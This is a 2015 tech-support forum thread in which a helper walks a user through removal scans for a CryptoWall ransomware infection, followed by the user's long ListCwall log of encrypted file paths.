# Cryptowall and other viruses please help!



## timmy12342 (Mar 7, 2015)

Tech Support Guy System Info Utility version 1.0.0.2
OS Version: Microsoft Windows 7 Ultimate, 32 bit
Processor: AMD Athlon(tm) 7750 Dual-Core Processor, x64 Family 16 Model 2 Stepping 3
Processor Count: 2
RAM: 2813 Mb
Graphics Card: ATI Radeon HD 3300 Graphics (Microsoft Corporation WDDM 1.1), 640 Mb
Hard Drives: C: Total - 121997 MB, Free - 34677 MB; D: Total - 120000 MB, Free - 79962 MB; E: Total - 118472 MB, Free - 118379 MB;
Motherboard: Gigabyte Technology Co., Ltd., GA-MA790GP-UD4H
Antivirus: None

Hello, my computer is infected with the cryptowall virus and probably a few others. I understand that these "encrypted" files may not be restored and I'm not concerned with that. Most of them are unimportant anyways. I will download and post any files necessary for someone to help me. Thank you


----------



## JSntgRvr (Jul 1, 2003)

Welcome 

Lets scan the computer.

BleepingComputer.com has created a tool called ListCwall that automates the finding and exporting the list of encrypted files from an infected computer. This tool will also allow you to backup the encrypted files to another location in the event that you want to archive the encrypted files and reformat the machine.

ListCwall can be downloaded from this URL: http://www.bleepingcomputer.com/download/listcwall/

To use the tool, simply double-click on the and let the program run. ListCwall will search for the registry key that contains the encrypted files and then export them to the ListCwall.txt file on your desktop. Attach this report to your next reply.








Please download Junkware Removal Tool to your desktop.

Shut down your protection software now to avoid potential conflicts.
Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
The tool will open and start scanning your system.
Please be patient as this can take a while to complete depending on your system's specifications.
On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
Post the contents of JRT.txt into your next message.

Download AdwCleaner from *here*. Save the file to the desktop.

*NOTE:* If you are using IE 8 or above you may get a warning that stops the program from downloading. Just click on the warning and allow the download to complete.

*Close all open windows and browsers.*

*XP users:* Double click the *AdwCleaner* icon to start the program.
*Vista/7/8 users:* Right click the *AdwCleaner* icon on the desktop, click *Run as administrator* and accept the UAC prompt to run AdwCleaner.
You will see the following console:










Click the *Scan* button and wait for the scan to finish.
After the Scan has finished the window may or may not show what it found and above, in the progress bar, you will see: *Pending. Please uncheck elements you don't want to remove.*
Click the *Clean* button.
*Everything checked* will be deleted.
When the program has finished cleaning a report appears.Once done it will ask to reboot, allow this










On reboot a log will be produced please copy / paste that in your next reply. This report is also saved to *C:\AdwCleaner\AdwCleaner[S0].txt*








Please download *Malwarebytes Anti-Malware* to your desktop

Double-click *mbam-setup-version.exe* and follow the prompts to install the program.
At the end, be sure a check-mark is placed next to the following:
*Enable free trial of Malwarebytes Anti-Malware Premium*
*Launch Malwarebytes Anti-Malware*

Then click *Finish*.
If an update is found, you will be prompted to download and install the latest version.
Once the program has loaded, select *Scan now*. Or select the *Threat Scan* from the Scan menu.
When the scan is complete , make sure that *everything* is set to "Quarantine", and click *Apply Actions*.
Reboot your computer if prompted.
Extra Note:

*If MBAM encounters a file that is difficult to remove,you will be presented with 1 of 2 prompts,click OK to either and let MBAM proceed with the disinfection process. If asked to restart the computer, please do so immediatly.*

The log is available throughout History ->Application logs. Please post it contents in your next reply.

Please download Farbar Recovery Scan Tool and save it to your desktop.

*Note*: You need to run the version compatible with your system. If you are not sure which version applies to your system download both of them and try to run them. Only one of them will run on your system, that will be the right version.

Double-click to run it. When the tool opens click *Yes* to disclaimer.
Make sure that under *Optional Scans*, there is a checkmark on Addition.txt and Shortcut.
Press *Scan* button.
It will make a log (*FRST.txt*) in the same directory the tool is run. Please copy and paste it to your reply.
The tool will also produce another two logs (*Addition.txt and Shortcut.txt*). Please attach these to your reply.


----------



## timmy12342 (Mar 7, 2015)

ListCWall 1.3.0 by Lawrence Abrams (Grinler)
Backup function added by The Pugilist
http://www.bleepingcomputer.com/
Copyright 2008-2015 BleepingComputer.com
More Information about the CryptoWall Ransomware can be found here:
http://www.bleepingcomputer.com/virus-removal/cryptowall-ransomware-information

Windows Version: Windows 7 Ultimate 
Username: Tim Computer Name: TIM-PC

Program started at: 03/08/2015 03:16:32 PM.

Exporting list of Encrypted Files from HKCU\Software\827C0271E45668FA70B2D746101D02CC\00011224677BCCDD:

C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$I5GJ71T.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$IJXBJUN.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$IKE74PI.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$IYNHPBJ.TXT
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$R5GJ71T.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$RJXBJUN.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$RKE74PI.txt
C:\$Recycle.Bin\S-1-5-21-1360264287-3610818973-3505073857-1000\$RYNHPBJ.TXT
C:\Linksys Driver\WMP11 Driver 111502\Quick Installation\Quick Installation.pdf
C:\Linksys Driver\WMP11 Driver 111502\WMP11V27 Release Note.txt.txt
C:\ProgramData\Apple Computer\iTunes\SC Info\SC Info.txt
C:\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf
C:\Users\Tim\AppData\Local\Apple Computer\iTunes\Cache.db
C:\Users\Tim\AppData\Local\Apple Computer\iTunes\iAd\com.apple.iad.persistence.db
C:\Users\Tim\AppData\Local\Microsoft Games\Hearts\HeartsSettings.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Hearts\windowprefs.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Mahjong Titans\MahjongTitans.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Mahjong Titans\MahjongTitansStats.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Mahjong Titans\windowprefs.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Purble Place\ConcentrationScoresAndSettings.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Purble Place\PurblePlaceSettings.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Purble Place\windowprefs.xml.bak
C:\Users\Tim\AppData\Local\Microsoft Games\Spider Solitaire\windowprefs.xml.bak
C:\Users\Tim\AppData\Local\Microsoft\Device Metadata\dmrc.idx
C:\Users\Tim\AppData\Local\Microsoft\Internet Explorer\brndlog.txt
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{10E3F929-8EDE-48F8-BDA6-792F43BC2732}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{1AF97B42-CF02-4620-81F7-C81CDC83D4EF}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{1B7197A4-E10B-43FD-A20B-864548FDF07B}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{2B43533A-6D1B-4A75-9374-C1B007B1D54A}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{3831273F-997C-49FC-A831-05A6C73CCD93}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{4B67096C-5F0E-4C1B-BAA0-ECDD47DA67E1}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{622B7A00-4E84-4F02-986A-1EB005B06F16}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{65AAC768-E7FF-400C-ADED-30F5C2075EF0}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{7BD2CB16-EAF6-45F1-8A9F-681623CBD375}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{81BC7382-B6A0-4751-A284-1CBCE1FF8C58}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{89EC3A6A-22CF-49D8-949E-0B0711620CB3}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{96AF1BF7-5601-4E31-896B-30FA1705BC26}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{9FCEDACC-67F4-49E8-A98B-277DD08EE129}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{AA4654F9-D7EF-4CF0-B4B8-47AC197EE8DA}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{AC2FA6CA-1844-493E-816E-F6D9F31D285B}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{AD643E42-D01E-4E6A-B83E-B86CFF66F896}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{DA97AE99-20F7-41FB-AF97-134CE68D270D}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{E5F82CE8-2019-468D-9DAC-827887F09682}.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Backup\new\WindowsMail.pat
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\GreenBubbles.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\HandPrints.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Monet.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Notebook.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\OrangeCircles.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Pine_Lumber.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Pretty_Peacock.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Psychedelic.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Sand_Paper.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\ShadesOfBlue.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Small_News.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\SoftBlue.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\Tanspecks.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\Stationery\White_Chocolate.jpg
C:\Users\Tim\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat
C:\Users\Tim\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD
C:\Users\Tim\AppData\Local\Mozilla\Firefox\Profiles\0msqv599.default\OfflineCache\index.sqlite
C:\Users\Tim\AppData\Roaming\Adobe\Flash Player\AssetCache\M8E4CWWS\cacheSize.txt
C:\Users\Tim\AppData\Roaming\BitTorrent\apps\D944B3378FAB35793B7951FA53E41B2AB9CC462B\vid_thumb.jpg
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\cert8.db
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\cookies.sqlite
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\formhistory.sqlite
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\key3.db
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\permissions.sqlite
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\places.sqlite
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\secmod.db
C:\Users\Tim\AppData\Roaming\G001\Firefox\Profiles\b82eqdtp.default\webappsstore.sqlite
C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\1000000.PRF
C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\1000001.PRF
C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\1000002.PRF
C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\1000003.PRF
C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator\1000004.PRF
C:\Users\Tim\AppData\Roaming\Hoyle\user0.bak
C:\Users\Tim\AppData\Roaming\Microsoft\Windows Photo Viewer\Windows Photo Viewer Wallpaper.jpg
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\Telemetry.FailedProfileLocks.txt
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\formhistory.sqlite
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\secmod.db
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\sessionstore.bak
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\persistent\chrome\idb\2588645841ssegtnti.sqlite
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\storage\persistent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default\urlclassifierkey3.txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected]
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][4].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected]omobilemag[1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][3].txt
C:\Users\Tim\Cookies\Low\[email protected][4].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
C:\Users\Tim\Cookies\Low\[email protected][2].txt
C:\Users\Tim\Cookies\Low\[email protected][1].txt
